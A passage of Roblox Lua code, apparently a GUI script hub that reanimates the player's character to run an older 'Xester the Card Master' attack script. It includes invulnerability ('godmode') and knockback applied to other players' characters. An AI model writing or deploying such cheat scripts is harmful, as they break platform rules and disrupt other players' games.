chatweld2.C0 = Clerp(chatweld2.C0, CF(-5,2,-4.5) * ANGLES(RAD(RAD(15)),RAD(-130),RAD(4)), 1) chat.Color = GUN.NeonParts.Color chat2.Color = GUN.NeonParts.Color for _,v in pairs(surfacegui:children()) do if v:IsA("Frame") then if v.Name=="chatbox" then v:TweenSize(UDim2.new(0.014, 0, 0.014-sick.PlaybackLoudness/2500*math.random(1,6), 0), "Out", "Quad", .5,true) v.BackgroundColor3 = GUN.NeonParts.Color end end end end if mde ~= 1 or mde ~= 20 or mde ~= 27 then SK1.Text = "None" SK2.Text = "None" end if mde == 1 then SK1.Text = "N - Secret song" SK2.Text = "None" elseif mde == 20 then SK1.Text = "K - Look Up" SK2.Text = "L - Look Straight" elseif mde == 27 then SK1.Text = "N - 'SKID.' Taunt(VERY SPAMMABLE)" SK2.Text = "None" end end end)() local Connection Connection = game.Workspace.DescendantAdded:Connect(function(c) if c.Name == "Animate" and c.Parent == Player.Character then c.Enabled = false Connection:Disconnect() end end) repeat task.wait() until game.Players.LocalPlayer.Character task.wait(0.1) local RealChar = Player.Character RealChar.Archivable = true FakeCharacter.Name = Player.Name .. "_Fake" FakeCharacter.Parent = workspace task.spawn(function() for i, LS in ipairs(FakeCharacter:GetChildren()) do if LS:IsA("LocalScript") then LS.Enabled = false task.wait(0.1) LS.Enabled = false end end end) for i, Part in ipairs(FakeCharacter:GetDescendants()) do if Part:IsA("BasePart")then Part.Transparency = fake_transparency end end for i, Decal in ipairs(FakeCharacter:GetDescendants()) do if Decal:IsA("Decal")then Decal.Transparency = fake_transparency end end Player.Character = FakeCharacter local function MotorAngle() if RealChar:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName) then RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName).CurrentAngle = Motor6DAngle end end end end local function SetAngles() if FakeCharacter:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) then local Motor = FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) local rx, ry, rz = Motor.Part1.CFrame:ToObjectSpace(FakeCharacter:FindFirstChild("Torso").CFrame):ToOrientation() --Motors[MotorName] = rx if Motor.Name == "Right Shoulder" then Motors[MotorName] = -rx end if Motor.Name == "Left Shoulder" then Motors[MotorName] = rx end if Motor.Name == "Right Hip" then Motors[MotorName] = -rx end if Motor.Name == "Left Hip" then Motors[MotorName] = rx end if Motor.Name == "Neck" then Motors[MotorName] = -ry end end end end end local function BaseCol() for i, Part in ipairs(RealChar:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end for i, Part in ipairs(FakeCharacter:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end end RunService.Heartbeat:Connect(function() SetAngles() MotorAngle() RealChar.HumanoidRootPart.CFrame = FakeCharacter.Torso.CFrame end) RunService.PreSimulation:Connect(function() BaseCol() end) LoadAllAnimations() end) end; task.spawn(C_5d); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_5f() local script = G2L["5f"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local fake_transparency = 0.8 -----------/XESTER THE CARD MASTER\\----------- --[[Movelist Q = The disappearing act. E = Full house R = Cardnado T = Teleport Y = Big card(Click to smash.) U = Black hole P = Card shield(Click to bounce people off, press p again to shred.) F = Transform(You can switch between modes any time.) -----------/SECOND FORM MOVES\----------- T = Laugh G = Fire ball H = Huge fire ball J = Dragon's breath(The longer you hold, the more insaner it gets.) K = Beam(The longer you hold down the key, the stronger it gets/longer it lasts.) ---------]] --"Now you see me 2" is a good movie, which is why i've made this.-- --Sadly, this got logged, one of my best work just being thrown out like this is a real shame.-- --This was made before FE so using this may or may not lag the server-- --Keep in mind that THIS was never even finished at all, i stopped working on this when skidcentric leaked it, who knows how big this script could've been?-- local Motors = { ["Left Hip"] = 0, ["Neck"] = 0, ["Left Shoulder"] = 0, ["Right Hip"] = 0, ["Right Shoulder"] = 0 } local Players = game:GetService("Players") local Player = Players.LocalPlayer local RunService = game:GetService("RunService") game.Players.LocalPlayer.Character.Archivable = true local FakeCharacter = game.Players.LocalPlayer.Character:Clone() Player.Character:BreakJoints() Player.Character=nil coroutine.wrap(function() Player=game:GetService("Players").LocalPlayer Character=FakeCharacter Character.Humanoid.Name = "noneofurbusiness" hum = Character.noneofurbusiness LeftArm=Character["Left Arm"] LeftLeg=Character["Left Leg"] RightArm=Character["Right Arm"] RightLeg=Character["Right Leg"] Root=Character["HumanoidRootPart"] Head=Character["Head"] Torso=Character["Torso"] Neck=Torso["Neck"] walking = false jumping = false allowgrassy = false zxc = false matte = nil colori = nil bigball = false attacking = false laughing = false running = false downpress = false taim = nil change = 0 ws = 10 appi = false tauntdebounce = false position = nil staybooming = false MseGuide = true levitate = false firsttime5 = false notallowedtransform = false settime = 0 firsttime2 = false sine = 0 t = 0 combo1 = true dgs = 75 combo2 = false firsttime3 = false combo3 = false local bl = {907530553,907527750,907527912} colortable = {"Really black","Really red"} colors = #colortable blz = #bl local aces = {1880203893,1881287656,1881287420,1881288034} ace = #aces local laughs = {2011349649,2011349983,2011351501,2011352223,2011355991,2011356475} laugh = #laughs mouse = Player:GetMouse() RunSrv = game:GetService("RunService") RenderStepped = game:GetService("RunService").RenderStepped removeuseless = game:GetService("Debris") damageall={} Repeater={} Repeater2={} magictable={} nonmeshRepeater={} nonmeshRepeater2={} dmgii={} DamageAll2={} SlowlyFade={} th1={} lolzor={} lolzor2={} th2={} keyYsize={} blocktrail={} keyYtransparency={} th3={} laughingtable={} Extreme={} ExtremeM={} ExtremeM2={} m3={} th4={} th5={} UpMover={} openshocktable={} LessSize={} ForwardMover={} FadeIn={} signtransparency={} signmover={} signrotator={} screenGui = Instance.new("ScreenGui") screenGui.Parent = script.Parent FireBall = Instance.new("Sound",LeftArm) FireBall.SoundId = "rbxassetid://842332424" FireBall.Volume = 5 FireBall.Pitch = 2.5 BigFireBall = Instance.new("Sound",LeftArm) BigFireBall.SoundId = "rbxassetid://842332424" BigFireBall.Volume = 8 BigFireBall.Pitch = 1.5 local HEADLERP = Instance.new("ManualWeld") HEADLERP.Parent = Head HEADLERP.Part0 = Head HEADLERP.Part1 = Head HEADLERP.C0 = CFrame.new(0, -1.5, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local TORSOLERP = Instance.new("ManualWeld") TORSOLERP.Parent = Root TORSOLERP.Part0 = Torso TORSOLERP.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local ROOTLERP = Instance.new("ManualWeld") ROOTLERP.Parent = Root ROOTLERP.Part0 = Root ROOTLERP.Part1 = Torso ROOTLERP.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local RIGHTARMLERP = Instance.new("ManualWeld") RIGHTARMLERP.Parent = RightArm RIGHTARMLERP.Part0 = RightArm RIGHTARMLERP.Part1 = Torso RIGHTARMLERP.C0 = CFrame.new(-1.5, 0, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local LEFTARMLERP = Instance.new("ManualWeld") LEFTARMLERP.Parent = LeftArm LEFTARMLERP.Part0 = LeftArm LEFTARMLERP.Part1 = Torso LEFTARMLERP.C0 = CFrame.new(1.5, 0, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local RIGHTLEGLERP = Instance.new("ManualWeld") RIGHTLEGLERP.Parent = RightLeg RIGHTLEGLERP.Part0 = RightLeg RIGHTLEGLERP.Part1 = Torso RIGHTLEGLERP.C0 = CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local LEFTLEGLERP = Instance.new("ManualWeld") LEFTLEGLERP.Parent = LeftLeg LEFTLEGLERP.Part0 = LeftLeg LEFTLEGLERP.Part1 = Torso LEFTLEGLERP.C0 = CFrame.new(0.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) local function weldBetween(a, b) local weld = Instance.new("ManualWeld", a) weld.Part0 = a weld.Part1 = b weld.C0 = a.CFrame:inverse() * b.CFrame return weld end function makeblockytrail() coroutine.wrap(function() while true do for i,v in pairs(blocktrail) do smke = Instance.new("Part",v) smke.CFrame = v.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) smke.Material = "Neon" smke.Anchored = true smke.CanCollide = false removeuseless:AddItem(smke,2) end swait() end end)() end local function ci(x, c, y, n) so = Instance.new("Sound", x) so.SoundId = c so.Volume = y so.Looped = n end function ghost() fakeeyo2 = Instance.new("Part",Head) fakeeyo2.BrickColor = BrickColor.new("White") fakeeyo2.Material = "Neon" fakeeyo2.Shape = "Ball" fakeeyo2.Anchored = true fakeeyo2.CFrame = eyo2.CFrame fakeeyo2.CanCollide = false fakeeyo2.Size = Vector3.new(0.33, 0.33, 0.33) table.insert(ghosttable,fakeeyo2) removeuseless:AddItem(fakeeyo2,3) fakeeyo1 = Instance.new("Part",Head) fakeeyo1.BrickColor = BrickColor.new("White") fakeeyo1.Material = "Neon" fakeeyo1.Shape = "Ball" fakeeyo1.CanCollide = false fakeeyo1.Anchored = true fakeeyo1.CFrame = eyo1.CFrame fakeeyo1.Size = Vector3.new(0.33, 0.33, 0.33) table.insert(ghosttable,fakeeyo1) removeuseless:AddItem(fakeeyo1,3) fakemask = Instance.new("Part",Character) fakemask.Size = Vector3.new(1,1,1) fakemask.CFrame = mask.CFrame fakemask.Material = "Neon" fakemask.CanCollide = false fakemask.Anchored = true fakemask.BrickColor = BrickColor.new("White") fakemask.Transparency = .5 mfMask = Instance.new("SpecialMesh", fakemask) mfMask.MeshType = "FileMesh" mfMask.Scale = Vector3.new(0.13, 0.13, 0.1) mfMask.MeshId = 'http://www.roblox.com/asset/?id=5158270' table.insert(ghosttable,fakemask) removeuseless:AddItem(fakemask,3) fakejester = Instance.new("Part",Character) fakejester.Size = Vector3.new(2,2,2) fakejester.CFrame = jester.CFrame fakejester.CanCollide = false fakejester.Transparency = .5 fakejester.Anchored = true fakejester.BrickColor = BrickColor.new("White") fakejesterm = Instance.new("SpecialMesh", fakejester) fakejesterm.MeshType = "FileMesh" fakejesterm.Scale = Vector3.new(1.1, 1.1, 1.1) fakejesterm.MeshId = 'rbxassetid://1241662062' table.insert(ghosttable,fakejester) removeuseless:AddItem(fakejester,3) fakehead = Instance.new("Part",Character) fakehead.Size = Vector3.new(1.01,1.01,1.01) fakehead.Anchored = true fakehead.CanCollide = false fakehead.Transparency = .5 fakehead.BrickColor = BrickColor.new("White") fakehead.Material = "Neon" fakehead.CFrame = Head.CFrame fakeheadmesh = Instance.new("SpecialMesh",fakehead) fakeheadmesh.MeshType = "Head" fakeheadmesh.Scale = Vector3.new(1.255,1.255,1.255) table.insert(ghosttable,fakehead) removeuseless:AddItem(fakehead,3) fakelarm = Instance.new("Part",Character) fakelarm.CFrame = LeftArm.CFrame fakelarm.Size = Vector3.new(1,2,1) fakelarm.CanCollide = false fakelarm.Transparency = .5 fakelarm.Material = "Neon" fakelarm.Anchored = true table.insert(ghosttable,fakelarm) removeuseless:AddItem(fakelarm,3) fakerarm = Instance.new("Part",Character) fakerarm.CFrame = RightArm.CFrame fakerarm.Size = Vector3.new(1,2,1) fakerarm.Transparency = .5 fakerarm.CanCollide = false fakerarm.Material = "Neon" fakerarm.Anchored = true table.insert(ghosttable,fakerarm) removeuseless:AddItem(fakerarm,3) fakelleg = Instance.new("Part",Character) fakelleg.CFrame = LeftLeg.CFrame fakelleg.Size = Vector3.new(1,2,1) fakelleg.Transparency = .5 fakelleg.CanCollide = false fakelleg.Material = "Neon" fakelleg.Anchored = true table.insert(ghosttable,fakelleg) removeuseless:AddItem(fakelleg,3) fakerleg = Instance.new("Part",Character) fakerleg.CFrame = RightLeg.CFrame fakerleg.Size = Vector3.new(1,2,1) fakerleg.Transparency = .5 fakerleg.CanCollide = false fakerleg.Material = "Neon" fakerleg.Anchored = true table.insert(ghosttable,fakerleg) removeuseless:AddItem(fakerleg,3) fakeTorso = Instance.new("Part",Character) fakeTorso.CFrame = Torso.CFrame fakeTorso.Size = Vector3.new(2,2,1) fakeTorso.Transparency = .5 fakeTorso.CanCollide = false fakeTorso.Material = "Neon" fakeTorso.Anchored = true table.insert(ghosttable,fakeTorso) removeuseless:AddItem(fakeTorso,3) end ghosttable={} coroutine.wrap(function() while true do for i,v in pairs(ghosttable) do v.Transparency = v.Transparency + 0.025 end wait() end end)() function MAKETRAIL(PARENT,POSITION1,POSITION2,LIFETIME,COLOR) A = Instance.new("Attachment", PARENT) A.Position = POSITION1 A.Name = "A" B = Instance.new("Attachment", PARENT) B.Position = POSITION2 B.Name = "B" tr1 = Instance.new("Trail", PARENT) tr1.Attachment0 = A tr1.Attachment1 = B tr1.Enabled = true tr1.Lifetime = LIFETIME tr1.TextureMode = "Static" tr1.LightInfluence = 0 tr1.Color = COLOR tr1.Transparency = NumberSequence.new(0, 1) end function clean() damageall={} Repeater={} Repeater2={} nonmeshRepeater={} nonmeshRepeater2={} dmgii={} DamageAll2={} SlowlyFade={} th1={} th2={} th3={} Extreme={} ExtremeM={} ExtremeM2={} m3={} th4={} th5={} UpMover={} openshocktable={} LessSize={} ForwardMover={} FadeIn={} signtransparency={} signmover={} signrotator={} end coroutine.wrap(function() while wait() do hum.WalkSpeed = ws LeftArm.BrickColor = BrickColor.new("Really black") RightArm.BrickColor = BrickColor.new("Really black") Head.BrickColor = BrickColor.new("Really black") end end)() godmode = coroutine.wrap(function() for i,v in pairs(Character:GetChildren()) do if v:IsA("BasePart") and v ~= Root then v.Anchored = false end end while true do hum.MaxHealth = math.huge wait(0.0000001) hum.Health = math.huge wait() end end) godmode() ff = Instance.new("ForceField", Character) ff.Visible = false coroutine.wrap(function() for i,v in pairs(Character:GetChildren()) do if v.Name == "Animate" then v:Remove() end end end)() function damagealll(Radius,Position) local Returning = {} for _,v in pairs(workspace:GetChildren()) do if v~=Character and v:FindFirstChildOfClass('Humanoid') and v:FindFirstChild('Torso') or v:FindFirstChild('UpperTorso') then if v:FindFirstChild("Torso") then local Mag = (v.Torso.Position - Position).magnitude if Mag < Radius then table.insert(Returning,v) end elseif v:FindFirstChild("UpperTorso") then local Mag = (v.UpperTorso.Position - Position).magnitude if Mag < Radius then table.insert(Returning,v) end end end end return Returning end ArtificialHB = Instance.new("BindableEvent", script) ArtificialHB.Name = "Heartbeat" script:WaitForChild("Heartbeat") frame = 1 / 60 tf = 0 allowframeloss = false tossremainder = false lastframe = tick() script.Heartbeat:Fire() game:GetService("RunService").Heartbeat:connect(function(s, p) tf = tf + s if tf >= frame then if allowframeloss then script.Heartbeat:Fire() lastframe = tick() else for i = 1, math.floor(tf / frame) do script.Heartbeat:Fire() end lastframe = tick() end if tossremainder then tf = 0 else tf = tf - frame * math.floor(tf / frame) end end end) function swait(num) if num == 0 or num == nil then game:service("RunService").Stepped:wait(0) else for i = 0, num do game:service("RunService").Stepped:wait(0) end end end doomtheme = Instance.new("Sound", Torso) doomtheme.Volume = 3 doomtheme.Name = "doomtheme" doomtheme.Looped = true doomtheme.SoundId = "rbxassetid://1843358057" doomtheme:Play() Torso.ChildRemoved:connect(function(removed) if removed.Name == "doomtheme" then if levitate then doomtheme = Instance.new("Sound", Torso) doomtheme.Volume = 3 doomtheme.Name = "doomtheme" doomtheme.Looped = true doomtheme.SoundId = "rbxassetid://1382488262" doomtheme:Play() doomtheme.TimePosition = 20.7 else doomtheme = Instance.new("Sound", Torso) doomtheme.Volume = 3 doomtheme.Name = "doomtheme" doomtheme.Looped = true doomtheme.SoundId = "rbxassetid://1843358057" doomtheme:Play() end end end) for _,n in pairs(Character:GetChildren()) do if n:IsA("Accessory") then n:Remove() end end for _,x in pairs(Character:GetChildren()) do if x:IsA("Decal") then x:Remove() end end glow = Instance.new("Part",Head) glow.Size = Vector3.new(.488,.3,.1) glow.CanCollide = false glow.Material = "Neon" glow.Transparency = 1 glow.BrickColor = BrickColor.new("Really white") glowweld = weldBetween(glow,Head) glowweld.C0 = CFrame.new(0,.2,.565) leftlocation = Instance.new("Part",LeftArm) leftlocation.Size = Vector3.new(1,1,1) leftlocation.Transparency = 1 leftlocationweld = weldBetween(leftlocation,LeftArm) leftlocationweld.C0 = CFrame.new(0,1.2,0) rightlocation = Instance.new("Part",RightArm) rightlocation.Size = Vector3.new(1,1,1) rightlocation.Transparency = 1 rightlocationweld = weldBetween(rightlocation,RightArm) rightlocationweld.C0 = CFrame.new(0,1.2,0) shirt = Instance.new("Shirt", Character) shirt.Name = "Shirt" pants = Instance.new("Pants", Character) pants.Name = "Pants" Character.Shirt.ShirtTemplate = "rbxassetid://676428254"----lol Character.Pants.PantsTemplate = "rbxassetid://676428351" fakehed = Instance.new("Part",Character) fakehed.Size = Vector3.new(1.01,1.01,1.01) fakehed.Anchored = false fakehed.CanCollide = false fakehed.Transparency = 0 fakehed.BrickColor = BrickColor.new("Really black") fakehed.Material = "Neon" fakehed.CFrame = Head.CFrame fakehedweld = weldBetween(fakehed,Head) fakehedmesh = Instance.new("SpecialMesh",fakehed) fakehedmesh.MeshType = "Head" fakehedmesh.Scale = Vector3.new(1.255,1.255,1.255) jester = Instance.new("Part",Character) jester.Size = Vector3.new(2,2,2) jester.CFrame = Head.CFrame jester.CanCollide = false jesterWeld = Instance.new("Weld",jester) jesterWeld.Part0 = jester jesterWeld.Part1 = Head jesterWeld.C0 = jester.CFrame:inverse() * Head.CFrame * CFrame.new(0,-.3,0) * CFrame.Angles(math.rad(0),math.rad(90),0) mjester = Instance.new("SpecialMesh", jester) mjester.MeshType = "FileMesh" mjester.Scale = Vector3.new(1.1, 1.1, 1.1) mjester.MeshId,mjester.TextureId = 'rbxassetid://1241662062','rbxassetid://1241662395' mask = Instance.new("Part",Character) mask.Size = Vector3.new(1,1,1) mask.CFrame = Head.CFrame mask.CanCollide = false maskweld = weldBetween(mask,Head) maskweld.C0 = CFrame.new(0,-.555,0) * CFrame.Angles(math.rad(90),0,0) mMask = Instance.new("SpecialMesh", mask) mMask.MeshType = "FileMesh" mMask.Scale = Vector3.new(0.13, 0.13, 0.1) mMask.MeshId,mMask.TextureId = 'http://www.roblox.com/asset/?id=5158270','http://www.roblox.com/asset/?id=9543585' eyo1 = Instance.new("Part",Head) eyo1.BrickColor = BrickColor.new("White") eyo1.Material = "Neon" eyo1.Shape = "Ball" eyo1.Name = "eyo1" eyo1.CanCollide = false eyo1.Size = Vector3.new(0.33, 0.33, 0.33) eyo1weld = weldBetween(eyo1,Head) eyo1weld.C0 = CFrame.new(.215,-.05,.52) light = Instance.new("PointLight", eyo1) light.Color = Color3.new(1,1,1) light.Range = 3 light.Brightness = 4 light.Enabled = true eyo2 = Instance.new("Part",Head) eyo2.BrickColor = BrickColor.new("White") eyo2.Material = "Neon" eyo2.Shape = "Ball" eyo2.Name = "eyo2" eyo2.CanCollide = false eyo2.Size = Vector3.new(0.33, 0.33, 0.33) eyo2weld = weldBetween(eyo2,Head) eyo2weld.C0 = CFrame.new(-.215,-.05,.52) light2 = Instance.new("PointLight", eyo2) light2.Color = Color3.new(1,1,1) light2.Range = 3 light2.Brightness = 4 light2.Enabled = true function SOUND(PARENT,ID,VOL,LOOP,REMOVE) so = Instance.new("Sound") so.Parent = PARENT so.SoundId = "rbxassetid://"..ID so.Volume = VOL so.Looped = LOOP so:Play() removeuseless:AddItem(so,REMOVE) end mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='r' then if levitate then return end if debounce then return end debounce = true attacking = true appi = true ws = 0 coroutine.wrap(function() while appi do wait() if Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) end end end)() for i = 1, 20 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3) swait() end SOUND(RightArm,342337569,6,false,1) coroutine.wrap(function() for i = 1, 9 do RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(.1,1.6,-.1),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(15)),.3) swait() end for i = 1, 9 do RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3) swait() end end)() shockwave = Instance.new("Part",Torso) shockwave.Shape = "Ball" shockwave.Size = Vector3.new(1,1,1) shockwave.BrickColor = BrickColor.new("White") shockwave.Material = "Neon" shockwave.CFrame = Torso.CFrame shockwave.CanCollide = false shockwave.Anchored = true coroutine.wrap(function() for i = 1, 20 do shockwave.Size = shockwave.Size + Vector3.new(1.8,1.8,1.8) shockwave.Transparency = shockwave.Transparency + 0.05 wait() end end)() SOUND(Torso,1072606965,0,false,10) coroutine.wrap(function() for i = 1, 10 do so.Volume = so.Volume + 0.3 wait() end end)() for i = 1, 35 do local Hit = damagealll(22,Torso.Position) for _,v in pairs(Hit) do vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(Torso.Position,torso.Position).lookVector*20 removeuseless:AddItem(vel,.1) end wave = Instance.new("Part", Torso) wave.Size = Vector3.new(1, 1, 1) wave.Transparency = 0 wave.BrickColor = BrickColor.new("White") wave.Anchored = true wave.CanCollide = false wave.CFrame = Root.CFrame * CFrame.new(0, -2.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) wavemesh = Instance.new("SpecialMesh", wave) wavemesh.MeshId = "rbxassetid://20329976" wavemesh.Scale = Vector3.new(1, 1, 1) table.insert(th2,wave) table.insert(SlowlyFade,wave) table.insert(th5,wavemesh) removeuseless:AddItem(wave,2) CardStorm = Instance.new("Part",Torso) CardStorm.Size = Vector3.new(.1,.1,.1) CardStorm.CFrame = Root.CFrame * CFrame.new(0,3.2,0) CardStorm.Anchored = true CardStormMesh = Instance.new("SpecialMesh", CardStorm) CardStormMesh.Scale = Vector3.new(1,1,1) CardStormMesh.MeshId = "rbxassetid://6512150" CardStormMesh.TextureId = "rbxassetid://55364685" table.insert(SlowlyFade,CardStorm) table.insert(m3,CardStormMesh) table.insert(th1,CardStorm) removeuseless:AddItem(CardStorm,3) wait(.1) end coroutine.wrap(function() for i = 1, 10 do so.Volume = so.Volume - 0.3 wait() end end)() wait(1) ws = 10 clean() attacking = false debounce = false appi = false end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='e' then if levitate then return end if debounce then return end attacking = true debounce = true damagedebounce = false clickdisallowance = true clickdebounce = false notallowed = true appi = true ws = 0 coroutine.wrap(function() while appi do wait() if Root.Velocity.y > 1 and attacking == true then position = "Jump2" elseif Root.Velocity.y < -1 and attacking == true then position = "Falling2" elseif Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" elseif Root.Velocity.Magnitude > 2 and attacking == true then position = "Walking2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Jump2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Falling2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2) elseif position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) elseif position == "Walking2" and attacking == true and appi == true then change = .8 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.sin(25*math.sin(sine/8))),.3) 